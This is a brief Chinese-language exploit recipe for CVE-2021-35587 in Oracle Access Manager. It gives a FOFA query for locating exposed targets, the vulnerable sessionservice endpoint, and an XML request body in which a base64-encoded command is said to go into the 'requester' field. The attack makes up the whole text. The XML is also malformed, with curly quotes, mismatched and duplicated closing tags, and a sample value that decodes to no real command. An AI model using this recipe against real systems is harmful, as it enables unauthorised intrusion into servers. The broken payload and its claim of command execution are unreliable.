CVE-2021–35587 Oracle Access Manager前台RCE漏洞
fofa body="/oam/pages/css/login_page.css"
访问URL+/oam/server/opensso/sessionservice的路径并抓包
请求体内换为如下内容，如图
<?xml version=”1.0" encoding=”UTF-8" standalone=”yes”?>
<RequestSet vers=”vers123" svcid=”session” reqid=”req_1”>
<Request dtdid=”dtd1" sid=”sid1">Data</Request>
<![CDATA[
<authIdentifier regid="l" requester="YWIiZA==">
<SessionID>123</sessionID>
</authIdentifier>
]]>
</Request>
</RequestSet>
修改requester="YWIiZA=="中YWIiZA==的内容以执行不同的命令。这里的YWIiZA==是base64编码后的结果，你要执行的命令也请base64编码
